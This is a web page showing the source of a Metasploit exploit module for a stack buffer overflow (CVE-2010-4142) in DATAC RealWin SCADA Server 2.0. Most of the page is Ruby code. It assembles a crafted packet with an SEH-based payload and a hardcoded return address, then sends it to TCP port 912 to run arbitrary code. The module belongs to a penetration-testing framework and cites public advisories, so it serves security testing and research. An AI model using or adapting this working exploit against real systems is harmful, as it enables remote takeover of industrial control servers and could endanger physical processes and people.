Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in DATAC Control16International RealWin SCADA Server 2.0 (Build 6.1.8.10).17By sending a specially crafted packet, an attacker may be able to execute arbitrary code.18},19'Author' => [ 'Luigi Auriemma', 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '68812' ],24[ 'CVE', '2010-4142' ],25[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],26[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-313-01']27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 550,36'BadChars' => "\x00\x20\x0a\x0d",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.1943],44'DefaultTarget' => 0,45'DisclosureDate' => '2010-10-15'))4647register_options([Opt::RPORT(912)])48end4950def exploit5152connect5354data = [0x6a541264].pack('V')55data << [0x00000020].pack('V')56data << [0x00001ff4].pack('V')57data << rand_text_alpha_upper(228)58data << generate_seh_payload(target.ret)59data << rand_text_alpha_upper(10024 - payload.encoded.length)60data << "\x00"6162print_status("Trying target #{target.name}...")63sock.put(data)6465handler66disconnect6768end69end707172